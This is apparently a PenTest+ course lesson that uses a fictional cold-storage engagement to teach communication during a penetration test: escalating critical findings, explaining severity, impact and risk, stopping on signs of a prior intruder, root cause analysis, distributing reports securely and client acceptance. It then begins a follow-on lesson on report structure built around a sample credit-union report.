2:07 a.m. and thirty-one files that should not be public

It is 2:07 a.m. on Thursday 17 September 2026, night three of a ten-night test for Kestrel Point Cold Storage, which runs three refrigerated warehouses. The company and its people are fictional. You have just typed this into your log:

Engagement KP-2026-11, tester's log (local time)
02:07  From our test address 192.0.2.40, no login: portal.example.com/exports/ answers 200
       with a listing of 31 files, customers-YYYY-MM-DD.csv, about 40 MB each
02:09  Opened the first 5 rows of the newest file, the limit ROE section 6 allows, then closed it
       Columns: customer, contact name, email, direct debit bank account [values not copied]
02:12  We cannot see the server's access logs. Whether anyone else fetched these files: unknown

The next status meeting is at 9:00. What do you do in the next ten minutes? Finish tonight's plan and raise it at 9:00? Download a whole file to prove how bad it is? Email everyone on the contact list? Phone someone, and if so, whom, and what do you say? Decide before you read on.

That decision and two harder ones (an intruder who got there before you, and a client who wants a finding gone) drive everything below. Objective 1.2 begins "Explain", so the exam wants you to know what each activity is for and to recognize it in a short scenario.

Exam objectives: 1.2 (peer review; stakeholder alignment; root cause analysis; escalation path; secure distribution; articulation of risk, severity and impact; goal reprioritization; business impact analysis; client acceptance).

Peer review at 2:11: is it real, and is it ours?

Spend minutes, not hours, on proof. Waking a manager over a demo database costs credibility, so you ask for peer review: another qualified tester checks the finding while the test is running. You are a poor judge of your own assumptions, so Sam, your night-shift partner, gets the address and your notes but not your conclusion.

Sam checksIf it had failed
Scope: is 203.0.113.140 inside the signed 203.0.113.128/26? YesStop. Touching an out-of-scope host is its own escalation
Repeatable: same answer from our second address, 192.0.2.41? YesPerhaps a cached page, so recheck before calling
Real data: do the names match the client's customer list? YesDemo data changes the answer

Sam logs 02:16 Reproduced independently by S.; scope confirmed, and that line is what peer review leaves behind. The habit also catches inflated ratings and the false positives of Lesson 12. Do not confuse it with quality control, the line-by-line gate on the finished report in Lesson 28. Peer review is about one finding, during the test. And it buys confidence, never permission to wait: Kestrel Point's rules of engagement (ROE) allow 30 minutes from discovery to first call, so working alone you would call anyway and say "not yet peer reviewed".

The escalation path: who picks up, in what order

Lesson 3 said that two in the morning is not the time to work out who gets told. An escalation path settles it in daylight: who to tell, how to reach them, how long to wait and what each person can decide. You drafted one in Lesson 4. Kestrel Point's reads:

OrderContactReach byWaitCan decide
1D. Ruiz, on-call duty managerMobile, then the operations desk (staffed 24/7)15 minutesTake a service or path offline
2L. Okafor, security managerMobile, then home15 minutesPause and resume the test; leads any incident
3M. Voss, CIO and executive sponsorMobile, then homeKeep tryingSign changes; accept risk

The Penetration Testing Execution Standard (PTES) asks for each contact's name, title, authorization to discuss the test and two ways to reach them around the clock. A desk can replace one contact only if it is staffed 24/7. NIST SP 800-115 says people such as the CIO or CISO should hear of critical high-impact vulnerabilities as soon as they are discovered.

At 02:21 you reach Ruiz, who was asleep. Six things, in a fixed order, fit into her first thirty seconds:

Who:     [Name], test team, engagement KP-2026-11, calling under section 6 of the ROE.
What:    Customer export files on the portal can be read from the internet with no login.
Proof:   Two of us reproduced it. We read five rows and copied none. They hold bank details.
Unknown: Whether anyone else has taken them. You have the logs; we do not.
Ask:     I recommend blocking that path now. That is your decision. Can you make it?
Next:    Evidence reaches you through the secure portal within 20 minutes, passphrase by phone.
         We stay off that host until you tell us otherwise.
  • You recommend; the client decides. Even if one command would fix it, you have no authority to change production, and your change would alter the evidence.
  • Details stay off voicemail. Leave your name, the engagement and "urgent, please call back".
  • No answer means the next name, not a wider audience. Log each attempt, move down the path when the wait runs out, and tell your own engagement manager.
  • Telling the outside world is not your job. Exposed bank details may start legal clocks (Lesson 3), and the client, advised by its lawyers, normally does that reporting.

In short: the ROE sets the trigger, the order, the wait and the authority, so at 2 a.m. you follow a decision already made instead of inventing one.

Technicians at a curved desk of monitors and laptops in a network operations center, the kind of desk that can stand in for one emergency contact only if it is staffed around the clock.
A staffed network operations center
Mike Reyher - CC BY 2.0 - Wikimedia Commons
A black handheld pager with a speaker grille and a knob on top, one of the around-the-clock contact methods PTES lists.
A pager, still a listed 24/7 contact method
Florian Fuchs - CC BY 3.0 - Wikimedia Commons

The same thirty-one files at four different speeds

Your finding scores 8.7 on the Common Vulnerability Scoring System (CVSS) v4.0 base scale: network, no login, high confidentiality impact. The scale calls that High, not Critical, and you still woke someone, because in this ROE a "critical finding" is a named trigger, exposed customer data, rather than a number. Change one fact and the right speed changes.

The one changed factWhat you do nowWhy
The listing answers only after a staff VPN login (score falls to 7.1)Same-day written note; no wake-up callStill serious, but the trigger says reachable from the internet
The rows are the portal's demo tenant, with invented namesRaise it at 9:00 as a LowNothing real is exposed
The address is 203.0.113.200, outside the signed rangeStop reading and call nowYou may have no authorization for that host
Ruiz's logs show an unknown address fetched all 31 files last weekIncident rules, as on night six belowThis may already be a breach

Most ROEs sort news this way:

  • call now for named triggers (typically exposed personal or safety data, a service you harmed, signs of an intruder, illegal content, a touch outside scope)
  • a same-day note for serious findings with a barrier in front of them
  • the next status report for the rest

As PTES puts it, "An ignored customer is a former customer."

How bad is it? Three answers: severity, impact and risk

Ruiz asks exactly that. Articulation of risk, severity and impact, the exam's phrase, means answering each one separately, in words the listener can act on.

WordWhat it measuresFor the export files
SeverityHow bad the flaw is in itself, anywhere (CVSS, Lessons 14 and 28)8.7, High: anyone can read, not change
ImpactWhat using the flaw would do to this business31 days of customer bank details: notices to customers, possible breach duties, lost trust
RiskLikelihood and impact together; the client owns the decisionHigh: no skill needed, reachable now, earlier access unknown

The Forum of Incident Response and Security Teams (FIRST), which maintains CVSS, says the base score measures severity and should not be used alone to assess risk. NIST SP 800-30 describes risk as typically a function of adverse impact and likelihood, and a risk matrix draws that function as a grid. Compare two answers to Ruiz:

Directory listing enabled on portal host, CVSS 8.7. Recommend remediation.

Anyone on the internet can download 31 days of customer bank details without logging in. We proved read access on five rows; we do not know whether anyone else has taken them. If they have, your contracts and possibly breach law require notices. Blocking the path should take minutes, and your own planning allows the portal 72 hours of downtime, so there is room to act tonight.

The second version separates what you proved from what you do not know: "unknown" is a legitimate word, while "no evidence of compromise" is a claim you can make only if you looked. Fit it to the listener: a duty manager needs a decision, a CIO needs business terms, and the administrator making the fix needs the technical detail.

A three-by-three grid with probability on one axis and consequence on the other, each cell rated Low, Moderate or High.
A simple risk matrix
US gov - Public domain - Wikimedia Commons

A level 3 typed as a level 2: First American, 2019

The public record shows these sentences failing inside one company. In a settled order of 14 June 2021, in which First American Financial neither admitted nor denied the findings, the US Securities and Exchange Commission (SEC) described an internal penetration test reported on 11 January 2019. One flaw was rated "serious", level 3: changing a document number in a web address opened other people's documents without a login (Lesson 18 looks at it from the application side). Then, according to the order:

  • The rating changed. Level 3 meant "medium risk" and 45 days to fix. A clerical error entered it as level 2, "low risk", 90 days, with a deadline of 8 May 2019.
  • No risk decision was made. Policy required a waiver or risk acceptance from the CISO if a fix was not possible or cost too much. The remediation owner did not request one.
  • The people carrying the risk heard last. On 24 May 2019 a journalist reported over 800 million exposed document images going back to 2003. Only then did the CISO learn of the January report, and the executives responsible for the public statements were not told before those went out.

The company was ordered to pay a $487,616 penalty for failing to maintain disclosure controls; the order judges those controls, not the test. A tester can still learn from it: the report reached security managers, remediation staff and the application's remediation owner, yet not the CISO. When you hand over a finding, check that the rating survived the trip and ask who else needs to know.

Stakeholder alignment: one finding, four different worries

By 8 a.m. the export files have split the client. Ruiz wants the portal back for the day shift. Okafor wants the logs read first. The company's lawyer wants nothing more in writing until she has seen it. The sales director wants to know what to tell customers. Stakeholder alignment means that everyone who can affect the test or be affected by it has agreed its goals, timing, triggers and decision makers before a morning like this. It also means they hear again when any of those changes.

StakeholderNeeds from youIf you skip them
Executive sponsorAgreed goals; risk in business termsNobody with authority when you need a decision
Security team and security operations center (SOC)Test addresses, windows, daily activityFalse alarms, or a real alarm dismissed as "probably the testers"
IT operationsWindows, stop conditions, what might breakYour scan meets their month-end run
Legal and complianceWhat goes in writing, and to whomA legal clock starts and nobody knows
Business ownersA say in what matters mostYou test what is easy, not what matters
Third parties, such as a hosting providerNotice and written permission (Lesson 3)You test someone who never agreed

Alignment leaves paper behind: kickoff notes recording goals, success criteria, contacts and the status schedule. A power-interest grid helps sort who needs what. Alignment does not mean telling everyone everything: in a covert test, NIST SP 800-115 notes, upper management knows and IT staff do not.

A two-by-two grid of power against interest, with the quarters labeled keep satisfied, manage closely, monitor and keep informed.
A power-interest grid
Peter Gladdish - CC BY 4.0 - Wikimedia Commons

Business impact analysis: the client's price list for downtime

First, a correction. CompTIA's acronym list expands BIA as "Business Intelligence Analytics". That is a slip: objective 1.2 means business impact analysis, and so does this course.

A BIA is the client's own study of which processes matter most and what losing them would cost. NIST SP 800-34 Rev. 1 gives three steps: determine the processes, their outage impacts and tolerable downtime; identify the resources needed to resume them; and set recovery priorities. NIST IR 8286D extends the idea to any type of loss. You rarely write one; you ask for it, and you handle it as sensitive because it ranks what would hurt most. Know NIST's three measures:

  • Maximum tolerable downtime (MTD): the total outage a process's owner is willing to accept.
  • Recovery time objective (RTO): how long a system can stay down before the impact becomes unacceptable; normally shorter than the MTD.
  • Recovery point objective (RPO): the point in time to which data can be restored, which says how much data loss the process can tolerate.

Here is a worked question in the style of a performance-based item. On night four two findings are open and the CIO has time for one tonight. Which goes first, and why?

Exhibit 1: Kestrel Point BIA, excerpt
ProcessMTDRTORPOCost of losing it
Freezer temperature alarms (ColdWatch)4 hours1 hour15 minutesStock loss up to $2.1 million per freezer hall
Customer portal72 hours24 hours24 hoursComplaints; contract notices if data leaks
Canteen menu (menu server)14 days5 days7 daysMinor
Exhibit 2: open findings
IDFindingCVSS base scoreWhat it can reach
F-03Menu server: anyone can take full control, no login needed9.3, CriticalNothing: alone on a guest network, holds no data
F-05ColdWatch: any warehouse staff login can change freezer alarm thresholds7.1, HighThe alarms themselves; logins are shared on floor tablets
  1. Read severity. F-03 wins by 2.2 points.
  2. Read impact from the BIA. Lose the menu server and the business can wait 14 days. Silence a freezer alarm and it has four hours before a problem of up to $2.1 million.
  3. Read likelihood. F-03 needs no login but leads nowhere. F-05 needs a login, and shared tablets make that a small barrier.
  4. Answer. F-05 first: "A staff login can silence the freezer alarms, and the business can bear four hours of that at most. The menu server scores higher, but nothing depends on it."

Now change one fact. Sam finds the menu server sits on the ColdWatch network segment and shares its local administrator password with the ColdWatch host. The scores do not move, but F-03 now needs no login and reaches the freezer alarms, so it goes first, and the two findings merge into one attack path (Lesson 14). If a client has no BIA, ask what must never stop, how long it could survive without it, and how much recent data it could lose.

In short: a base score describes the flaw, a BIA describes the client, and risk needs both.

A timeline with an incident in the middle: the RPO reaches back to the last recoverable data, and the RTO reaches forward to when the system is running again.
RPO and RTO on a timeline
Own work - CC BY 4.0 - Wikimedia Commons

Night six: an account that is not on your record

Monday 21 September, 23:40. On fs-02, an in-scope file server, the read-only account the ROE allows returns this:

Local administrators:  Administrator, kp-admin, svc_backup2
svc_backup2 created:   2026-08-26 03:41, 19 days before our first packet on 2026-09-14
Scheduled task:        "DiskCheckWeekly", added 2026-08-26 03:44, runs as svc_backup2
Outbound, last 7 days: 14 sessions from fs-02 to 198.51.100.77:443, all between 03:00 and 04:00

First rule yourself out. Your team's record of everything it creates shows no such account, and the dates come before your first packet. These are indicators of prior compromise. NIST SP 800-115 says to report an adversary's presence immediately to the right person, follow the ROE, and stop assessing the systems involved while the organization responds. The helpful-looking moves are the dangerous ones.

In the next ten minutesWhy
Stop work on fs-02 and note the timeYour traffic would muddy what responders must read
Leave the account and task alone; do not ping or look up the addressA 2020 joint advisory from the US Cybersecurity and Infrastructure Security Agency (CISA) and four other nations' cyber authorities lists early fixes, blocks, credential resets and even a ping of the adversary's infrastructure as common mistakes: they can destroy volatile evidence or warn the intruder
Save and hash your logs; hold any data destructionThey separate your actions from the intruder's. NIST SP 800-61 Rev. 3 treats incident data as evidence even when no prosecution is expected
Phone Okafor, who leads incidents. No email, chat or ticketAn intruder may read those; the advisory says to keep communications out of band
Resume only on written word from the person the ROE namesNIST wants the plan to say whether testing stops, when it restarts and by whose authority

The call keeps its shape. Its Ask line becomes Please do not reply by email or ticket. How do you want us to proceed? and its Next line says what you did not do: We stopped on fs-02 at 23:52, changed nothing and did not contact that address.

Now change one fact. Okafor checks the change records at 00:30: svc_backup2 and the task belong to a backup migration, and the address is the backup vendor's. You resume on her written word and report an undocumented administrator account as an ordinary finding. Your first ten minutes were not wasted, because only someone with the client's records could tell which situation you were in. Deciding "it says backup, so it is fine" on your own is the mistake: intruders choose names too.

The question can also come from the other side. The SOC phones at 03:40: "Is this you?" That check is deconfliction, and you answer from your log of addresses and times. "Yes" saves a night of false alarm; "no" tells them it is real.

Goal reprioritization: night seven, and the sponsor wants the hours elsewhere

Tuesday 22 September. Voss now wants the last three nights spent on the portal, not the planned warehouse system tests. That is goal reprioritization: changing what the test concentrates on because a finding, a business event, an incident or a dead end has changed what matters. The trap is letting it slide into a scope change, so hold each request against the signed boundary.

RequestIn the signed scope?What you need
"Spend the last three nights on the portal."YesA written note from the sponsor named in the ROE; everyone affected told
"And while you are there, try the payment processor's API."No: another company's systemA signed amendment to the statement of work (SoW) and ROE, plus the processor's written permission, before any packet

Both requests came in one phone call, yet the second flips the answer. A sponsor's word can move the goal. It cannot move the boundary or authorize testing of someone else's system; the courthouse arrests in Lesson 3 turned on a similar gap in authority. Here is the first request on paper:

Change note 2, KP-2026-11, 22 Sep 2026. Approved by M. Voss (sponsor), signed email
Goal 3 (warehouse system, three nights) replaced by: customer portal and its login, three nights
Scope, hours and test window unchanged
Test cases WM-04 to WM-09 will not be run; they go in the report's limitations
Told: L. Okafor, D. Ruiz, IT operations, our engagement manager

The hours are fixed, so when the goal moves something falls off, and the note says what. Testers can propose a change too, but the sponsor decides.

A triangle with scope, cost and time at its corners and quality in the middle, the usual picture of why changing one thing forces a change in another.
The project triangle
Mapto - Public domain - Wikimedia Commons

Root cause analysis: asking why until the client can change the answer

Ruiz blocked the export path at 02:58. Is it fixed? The hole is closed, but the nightly job still runs. A finding names a symptom; root cause analysis asks what allowed it. The usual teaching form is the five whys, where five is a habit and not a rule. Talking to Ruiz and the finance team gives this chain:

Why?AnswerLevel
Why could anyone read the files?They sat in a web folder with listing turned onSymptom: the finding
Why were they there?A nightly job writes exports where finance can fetch themDirect cause
Why that way?Finance needed a download, and no approved way to move files existedContributing cause
Why did nobody catch it?Portal changes are never reviewed for where data goesProcess gap
Why not?Nobody owns customer data flowsRoot cause

Stop at something the client can change that would also prevent this finding's cousins, and never stop at a person: "the admin forgot" is a place to ask another why. Then test your answer. An old cleartext file share used by finance and an unmasked customer database in a test system share this root cause. So three symptoms get one recommendation: name an owner and add a data-flow question to change control.

NIST SP 800-115 calls identifying root causes key, because they often trace to program-level weaknesses such as insufficient patch management, missing security baselines, inadequate training or weak policy enforcement. An Ishikawa diagram, or fishbone, does the same work visually. You see only a slice of the organization, so write "apparent root cause" until the client confirms it. Lesson 29 turns the cause into a fix.

A fishbone diagram whose angled branches group possible causes of a defect, such as personnel, methods and machines, along a spine that points to the defect.
An Ishikawa (fishbone) diagram
DanielPenfield - CC BY-SA 3.0 - Wikimedia Commons

Secure distribution: your draft is a map of the client's weak points

Everything so far has produced sensitive paper. NIST SP 800-115 makes storing it securely the assessors' responsibility, warns that its release can increase the likelihood of exploitation, and wants the ROE to set how results travel. Secure distribution is the whole chain: who may receive what, how it is protected, and the record that proves it.

ItemGoes toHow
Export evidence, values masked, 17 SepRuiz, OkaforClient's secure portal, named accounts; passphrase by phone
Intruder note, fs-02, 21 SepOkafor onlyPhone first; encrypted file handed over in person, signed for
Draft 0.9, full report, 5 OctOkafor, VossEncrypted file; passphrase by phone
  • Encrypt the file, not only the pipe. NIST lists encrypted files, encrypted channels and delivered copies as options. Transport Layer Security (TLS) protects a report only in transit; an encrypted file stays protected after forwarding. Pretty Good Privacy and GnuPG do this for email, though PTES warns that subject lines stay in plaintext. Send the key another way: with the passphrase in the same mail thread, anyone reading that mailbox has both.
  • Name every recipient and log every version. Anyone new needs the client's written approval, so send a curious auditor to the client. If a copy leaks, the log shows who held it.
  • Cut each copy to need. Mask secrets and customer values, and let the summary travel further than the detail.
  • Know when the circle shrinks. An incident moves everything out of band. A mis-sent report is itself an escalation, so phone the path at once. Lesson 26 covers destroying these files afterward.
A cartoon in which one person encrypts an email with the recipient's public key and the recipient opens it with a private key, while an eavesdropper is stopped.
Encrypted email with public-key cryptography
Massimo Barbieri - CC BY-SA 3.0 - Wikimedia Commons

"Please take F-07 out before the board sees it"

Thursday 8 October. Draft 0.9 has been with the client for three days when this arrives from the IT director, who is not the sponsor:

Draft looks fine except F-07, the unsupported firewall at the Ashford warehouse. The board meets on the 20th and I would rather not have that conversation. Please take it out of 1.0. No need to bring Marta into this. We can't sign acceptance until the draft is right.

Your evidence for F-07 is solid and Sam reviewed it. Separate what a client may change from what it may not.

The client asks toAnswer, and how it appears in the report
Correct a wrong fact, with evidenceYes: corrected, and noted in the version history
Add its own view or planYes: a labeled management response under the finding
Live with the riskYes, if someone with authority signs: finding stays, status "risk accepted by [name], [date]"
Fix it and retestYes: finding stays, status "fixed, retested on [date]"
Lower the rating with no new factsNo: disagreement can go in the management response
Delete a true finding from a report that claims to be completeNo

Risk acceptance is one of the five responses NIST SP 800-30 names (acceptance, avoidance, mitigation, sharing, transfer), and the decision belongs to the client. Deletion is different. CompTIA's Candidate Code of Ethics bars certified people from knowingly making a false or misleading statement to a client or a regulator, and a board reading a "complete" report without F-07 has been misled. "Client" here means the organization that signed, through the sponsor it named, not whichever employee is unhappy. So you tell your engagement manager the same day, and you reply:

I can't remove F-07 from a report that says it covers the whole scope. I can correct any fact you can show is wrong, print your management response, record a risk acceptance if the sponsor signs one, or mark it fixed once a retest confirms it. Our engagement manager is arranging a call with you and Marta Voss to settle which.

You do not write to the board or a regulator yourself: disagreement goes up through the contract, not around the client (Lesson 28). If you think a legal duty is involved, ask your own firm's lawyers.

Now change one fact. The director's next email attaches a change record: the Ashford firewall was replaced on 18 September, and your scan is dated the 15th. You retest, and the finding reads "fixed during the test; retested 9 October". Or suppose Sam finds the scanner misread the version: F-07 is then a false positive and it comes out, with the reason in the version history. Same request, opposite answer. The difference is evidence.

Client acceptance: what the signature does and does not mean

The director used acceptance as a lever, so know what it is. PT0-003 names client acceptance without defining it. The previous exam, PT0-002, listed it among post-report delivery activities. That points to the usual meaning: the client formally confirms that it received the deliverable and that it meets the contract, so the engagement can move toward close. Here is the record that settled this one:

Acceptance record, KP-2026-11
Deliverable:  Report 1.0, delivered 16 Oct 2026
Accepted by:  M. Voss, CIO and sponsor, 23 Oct 2026
Accepted as:  meeting section 4 of the statement of work
Noted:        F-07 remains open; risk accepted by M. Voss until 31 Mar 2027 (signed note attached)
Next:         retest of F-01 to F-05 by 15 Jan 2027; working data destroyed 60 days after this date

Client acceptance concerns the deliverable: the person the contract names signs it, and every finding can still be open. Risk acceptance concerns one finding: someone with authority over that risk signs it, and the finding stays unfixed, usually until a review date. Neither certifies the company as secure. To remove the lever, write acceptance criteria into the SoW at the start: delivered, in the agreed format, covering the agreed scope, with an objection period. Whether the client likes a finding is not a criterion; a refusal to sign goes to the contract's dispute process, not to a quiet edit.

The nine activities, and the words that point to them

ActivityThe stem saysDo not confuse it with
Peer reviewA second tester repeats the check before it goes to the clientQuality control, the gate on the finished report
Stakeholder alignmentEveryone affected agrees goals, windows and contacts at kickoffTelling everyone everything
Root cause analysisOne weakness behind several findingsA separate fix for each symptom
Escalation pathAdministrator rights on a critical system mid-test; the primary contact does not answerThe status report schedule
Secure distributionPassphrase in the same email as the encrypted reportBelieving encryption alone is enough
Articulation of risk, severity and impactExplain the finding to the boardReading out the CVSS vector
Goal reprioritizationThe client moves effort to another in-scope systemA scope change, which needs an amendment
Business impact analysisHigh score on an asset nobody depends on; how long can it be down (MTD); how much data can we lose (RPO)Treating the base score as risk; RTO with RPO
Client acceptanceThe client signs that the report meets the contractRisk acceptance, a signed note about one finding, which stays in the report

How the 2 a.m. finding and the call are reported

Communication during the test belongs in the final report, because it is part of what happened. Here is the finding as written:

  • Title: Customer export files readable from the internet without login.
  • Severity: High. CVSS base score 8.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N). No login or skill is needed and confidential data is exposed, but it gives no write access or control of the server, so it stays below Critical. Handled at call speed because ROE section 6 names exposed customer data as a trigger.
  • Evidence: E-14: log lines 02:07 to 02:16, including the second tester's reproduction. Five rows viewed, no values copied.
  • Root cause: no owner for customer data flows and no data-flow review in portal change control; confirmed with client staff on 18 September.
  • Remediation: keep the path blocked (done 02:58); move exports to an authenticated transfer service; turn off directory listing; review 31 days of access logs; name a data-flow owner and add the question to change control.
  • Notification timeline: found 02:07; peer reviewed 02:16; Ruiz reached 02:21; evidence delivered 02:40; path blocked 02:58.

A report that may travel widely should not carry a live incident's detail. It states that testing on fs-02 stopped on 21 September at the client's direction, lists that under limitations, and points to the client's incident record, in wording agreed with the client's lawyers. Lesson 28 covers the full structure.

Common misconceptions

  • "A serious finding can wait for the final report." Critical findings go to the named person as soon as they are confirmed.
  • "The CVSS score is the risk." The base score measures severity. Risk also needs likelihood and this client's impact.
  • "The client pays, so the client can have a finding removed." It can correct facts, respond, accept the risk, or fix and retest.
  • "Client acceptance means the client accepts the risks." It accepts the deliverable. Risk acceptance is a separate, signed decision.

Looking back

  • Peer review is a second tester independently checking one finding during the test; quality control is the later gate on the finished report.
  • An escalation path names the order, two ways to reach each person, the wait and who can decide what; a call carries who, what, proof, unknown, ask and next.
  • Severity describes the flaw, impact describes this business, and risk combines impact and likelihood; FIRST says the CVSS base score should not be used alone to assess risk.
  • BIA means business impact analysis. MTD is the tolerable outage, RTO the system's recovery limit, and RPO the tolerable data loss.
  • On signs of an intruder, stop on the systems involved, change nothing, save and hash your logs, phone out of band, and resume only on written word.
  • Goal reprioritization needs a written note from the named sponsor and lists dropped tests as limitations; a target outside signed scope needs an amendment and, for a third party, its own permission.
  • Root cause analysis stops at something the client can change that would also prevent similar findings, and never at a person.
  • Secure distribution means named recipients, encrypted files, the key sent by another channel, and a log of versions.
  • A client may correct facts, respond, accept risk, or fix and retest, but may not delete a true finding from a report that claims to be complete. Client acceptance confirms the deliverable; risk acceptance concerns one finding.

Sources

  1. CompTIA. (2023). CompTIA PenTest+ PT0-003 V3 certification exam: Exam objectives (Version 5.0), objective 1.2 and acronym list. PT0-003 objectives; also the PT0-002 objectives (Version 4.0; objective 4.4) and the Candidate code of ethics
  2. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST SP 800-115), sections 2.4.2, 6.5 and 7.1-7.4. NIST. nvlpubs.nist.gov (PDF)
  3. The PTES Team. (n.d.). Pre-engagement interactions. In Penetration Testing Execution Standard (unofficial mirror; the official site is pentest-standard.org). pentest-standard.readthedocs.io
  4. Swanson, M., Bowen, P., Phillips, A. W., Gallup, D., and Lynes, D. (2010). Contingency planning guide for federal information systems (NIST SP 800-34 Rev. 1), section 3.2. NIST. nvlpubs.nist.gov (PDF); Quinn, S., et al. (2025). Using business impact analysis to inform risk prioritization and response (NIST IR 8286D, Update 1). csrc.nist.gov
  5. Joint Task Force Transformation Initiative. (2012). Guide for conducting risk assessments (NIST SP 800-30 Rev. 1), sections 2.3 and 2.4. NIST. nvlpubs.nist.gov (PDF)
  6. Forum of Incident Response and Security Teams. (2024). Common Vulnerability Scoring System version 4.0: Specification document (document version 1.2), with the User guide; the reference calculator scored this lesson's fictional findings. specification; user guide
  7. U.S. Securities and Exchange Commission. (2021). In the matter of First American Financial Corporation (Release No. 92176). sec.gov (PDF)
  8. Cybersecurity and Infrastructure Security Agency, et al. (2020). Technical approaches to uncovering and remediating malicious activity (Alert AA20-245A). cisa.gov
  9. Nelson, A., Rekhi, S., Souppaya, M., and Scarfone, K. (2025). Incident response recommendations and considerations for cybersecurity risk management (NIST SP 800-61 Rev. 3). NIST. csrc.nist.gov
Key terms
Peer review
A check of a finding by another qualified tester during an engagement: reproducing it, confirming it is in scope and testing its rating before it leaves the team.
Stakeholder alignment
Getting everyone who can affect a test, or be affected by it, to agree its goals, timing, triggers and decision makers.
Root cause analysis
Tracing a finding past its symptom to the process or design failure that allowed it, so that one fix also prevents similar findings.
Escalation path
The agreed, ordered list of who to contact when something cannot wait, how to reach them, how long to wait and what each person can decide.
Deconfliction
Checking whether suspicious activity belongs to the test team before treating it as a real attack, usually by comparing it with the testers' log.
Secure distribution
Getting sensitive test results only to named recipients, protected in storage and in transit, with a record of who received which version.
Business impact analysis
An organization's study of which processes matter most, what disruption would cost and how long each can be down; abbreviated BIA.
Goal reprioritization
Changing what a penetration test concentrates on during the engagement, inside the signed scope, with a written record of what will no longer be done.
Client acceptance
A client's formal confirmation that a deliverable was received and meets the contract; it does not mean findings are fixed or risks accepted.
Risk acceptance
A decision by someone with authority to live with a stated risk; it is recorded against the finding, which stays in the report.

The Report Is the Product: Components, Risk Scoring, and Quality Control

  • Name every component of a penetration test report, the reader it serves and the question it answers.
  • Align a report with its SoW or PWS, define its ratings, and score a finding with CVSS v4.0 while keeping severity and risk apart.
  • Write detailed findings, an attack narrative, recommendations, limitations and assumptions, and an executive summary from evidence.
  • Apply quality control and the legal, ethical and AI considerations before a report is released.

What is left when the testers go home

By Friday 19 June 2026, the two testers on the fictional Corvid Bay Credit Union engagement hold:

  • 214 screenshots
  • three Nmap XML files
  • a folder of proxy logs
  • a recorded moment when one test member's login fetched another test member's bank statement

The credit union's board will read one page of all that. Its developers will read about ten. Nobody outside the test team will ever open the screenshots folder.

So the report is the product. Once the testers' accounts are removed and their tools are gone, as Lesson 26 describes, it is the only thing left that can change anything. OWASP's testing guide says technical quality is "completely irrelevant if the client can't understand your findings".

This lesson shows one short, complete report, then walks the procedure that produced it, in the order a tester writes, which is close to the reverse of the order a client reads. Finally one fact changes, and you watch what moves. Corvid Bay is the made-up credit union scoped in Lesson 4, and every person, address and result below is fictional.

Exam objectives: 1.4 (format alignment, documentation specifications, risk scoring, definitions; the report components: executive summary, methodology, detailed findings, attack narrative, recommendations and remediation guidance; test limitations and assumptions; and the legal, ethical, quality control and artificial intelligence considerations in reporting).

ComponentMain readerQuestion it answers
Executive summaryBoard, executivesHow bad is this for the business, and what must we decide?
MethodologySecurity manager, auditors, the next testerWhat was done, to what standard, and could it be repeated?
Definitions and risk scoringEveryoneWhat does "High" mean in this report?
Test limitations and assumptionsSecurity manager, auditorsWhat could this test not see, and what did it take on trust?
Attack narrativeSecurity team, technical managersHow did the weaknesses connect into a path to the goal?
Detailed findingsEngineersWhat exactly is wrong, why, and how will we prove it is fixed?
Recommendations and remediation guidanceManagers and engineersWhat comes first, who owns it, and how is each flaw fixed?

The finished report for Corvid Bay Credit Union

A real report runs far longer. This one keeps one example of every part, so you can see them together.

Cover and document control

Corvid Bay Credit Union: external, web, API and mobile penetration test. Report CB-2026-07, prepared by Ashgrove Security under statement of work SOW-26-014. Confidential: for the security manager, the chief information officer and the board risk committee only. Version 0.9, client factual review, 26 June 2026. Version 1.0, final, 3 July 2026.

Section 1: Executive summary

Corvid Bay asked whether members of its online banking service could see each other's data. They can. Using two test accounts the credit union created for us, we retrieved one test member's statement while logged in as the other (F-01). Nothing in the design limits this to our two accounts, and nothing raised an alert when we repeated it 200 times (F-02). We touched no real member's data.

We rate the overall risk High: statements hold names, addresses and transactions, and exposure could mean regulatory notification and lost member trust. Internet-facing systems are otherwise well maintained, and expired sessions were correctly refused. We recommend fixing F-01 within 14 days and adding monitoring within 30.

Section 2: Scope and methodology

Targets: 203.0.113.0/26; onlinebanking.corvidbay.example, by hostname only, because it sits behind a shared delivery network; api.corvidbay.example; app builds 4.2 for iOS and Android. Wireless results are in separate report CB-2026-08. Dates: 8-19 June 2026, 08:00-18:00 America/Chicago. Starting position: two test member accounts, no source code. Method: the planning, discovery, attack and reporting phases of NIST SP 800-115, with the OWASP Web Security Testing Guide and MASVS as test references. Tools: Nmap, Nikto, Burp Suite, ZAP, MobSF. All traffic came from 192.0.2.40, so it can be matched to client logs.

Section 3: Definitions

RatingCVSS v4.0What it means hereTarget to fix
Critical9.0-10.0Member data or control of a system exposed with no login7 days
High7.0-8.9Member data exposed to anyone with an ordinary login14 days
Medium4.0-6.9Limited exposure, or a gap that makes another finding worse60 days
Low0.1-3.9Minor exposure with little direct effectNext maintenance
InformationalNoneAn observation, not a vulnerabilityClient's choice

Where a finding is a missing control rather than a software flaw, the tester assigns a rating from the "what it means" column and states why. Member: a person who holds an account. Test member: an account created for this test.

Section 4: Test limitations and assumptions

Limitations. The rules of engagement excluded the core banking system and its databases, the outside bill-payment service, the colocation network 203.0.113.64/27, denial of service and social engineering. With only two test accounts, reach beyond them is inferred, not observed. Port 443 on 203.0.113.33 was filtered from our address, so what listens there is unknown. Results describe the systems on the test dates only.

Assumptions. App builds 4.2 match the store versions, and test accounts have the same permissions as ordinary member accounts; the client told us both, and we did not verify either.

Section 5: Attack narrative

WhenWhat the testers didWhat it showed
Mon 8 June, 09:10Logged in to the app as test member A and recorded its traffic through a proxyThe app asks the API for statements by account number
Mon 8 June, 10:42Repeated A's request with only the account number changed to test member B'sThe API returned B's May statement (F-01)
Tue 9 June, 14:05Repeated the request 200 times in ten minutes against the two test accountsNo throttling; no alert reached the monitoring team (F-02)
Tue 9 June, 14:30Stopped and called the security manager, as the escalation process requires, because any further step could only touch real membersGoal reached with test accounts; no real account requested
Wed 10 June, 11:15Replayed the request with an expired session tokenRefused. This control worked

Section 6: Findings summary

IDTitleRating
F-01Any member can read another member's statements through the APIHigh (7.1)
F-02Statement requests are neither limited nor monitoredMedium (assigned)
F-03VPN portal at 203.0.113.12 still accepts TLS 1.0Medium
F-04Web server version shown in response headersLow
